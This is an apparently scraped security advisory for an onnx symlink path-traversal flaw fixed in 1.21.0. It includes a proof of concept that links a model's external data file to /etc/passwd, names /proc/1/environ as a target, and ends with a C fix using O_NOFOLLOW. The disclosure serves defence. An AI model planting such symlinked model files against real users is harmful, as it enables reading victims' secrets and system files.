| Package | Affected versions | Patched versions |
|---|---|---|
| onnx | < 1.21.0 | 1.21.0 |
| onnx | < 1.21.0 | 1.21.0 |
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.
The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033
std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper
def create_onnx_model(output_path="model.onnx"):
weight_matrix = np.random.randn(1000, 1000).astype(np.float32)
X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
W = numpy_helper.from_array(weight_matrix, name="W")
matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")
graph = helper.make_graph(
nodes=[matmul_node],
name="SimpleModel",
inputs=[X],
outputs=[Y],
initializer=[W]
)
model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
onnx.checker.check_model(model)
data_file = output_path.replace('.onnx', '.data')
if os.path.exists(output_path):
os.remove(output_path)
if os.path.exists(data_file):
os.remove(data_file)
onnx.save_model(
model,
output_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=os.path.basename(data_file),
size_threshold=1024 * 1024
)
if __name__ == "__main__":
create_onnx_model("model.onnx")
model.dataln -s /etc/passwd model.dataimport onnx
from onnx.external_data_helper import load_external_data_for_model
def load_onnx_model_basic(model_path="model.onnx"):
model = onnx.load(model_path)
return model
def load_onnx_model_explicit(model_path="model.onnx"):
model = onnx.load(model_path, load_external_data=False)
load_external_data_for_model(model, ".")
return model
if __name__ == "__main__":
model = load_onnx_model_basic("model.onnx")
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.
Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.
NOTE: this issue is not limited to UNIX.
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
int open_external_file_no_symlink(const char *base_dir,
const char *relative_path) {
int dirfd = -1;
int fd = -1;
struct stat st;
// Open base directory
dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
if (dirfd < 0) {
return -1;
}
// Open the target relative to base_dir
// O_NOFOLLOW => fail if final path component is a symlink
fd = openat(dirfd,
relative_path,
O_RDONLY | O_NOFOLLOW);
close(dirfd);
if (fd < 0) {
// ELOOP is the typical error if a symlink is encountered
return -1;
}
// Inspect the *opened file*
if (fstat(fd, &st) != 0) {
close(fd);
return -1;
}
// Enforce "regular file only"
if (!S_ISREG(st.st_mode)) {
close(fd);
errno = EINVAL;
return -1;
}
// fd is now:
// - not a symlink
// - not a directory
// - not a device / FIFO / socket
// - race-safe
return fd;
}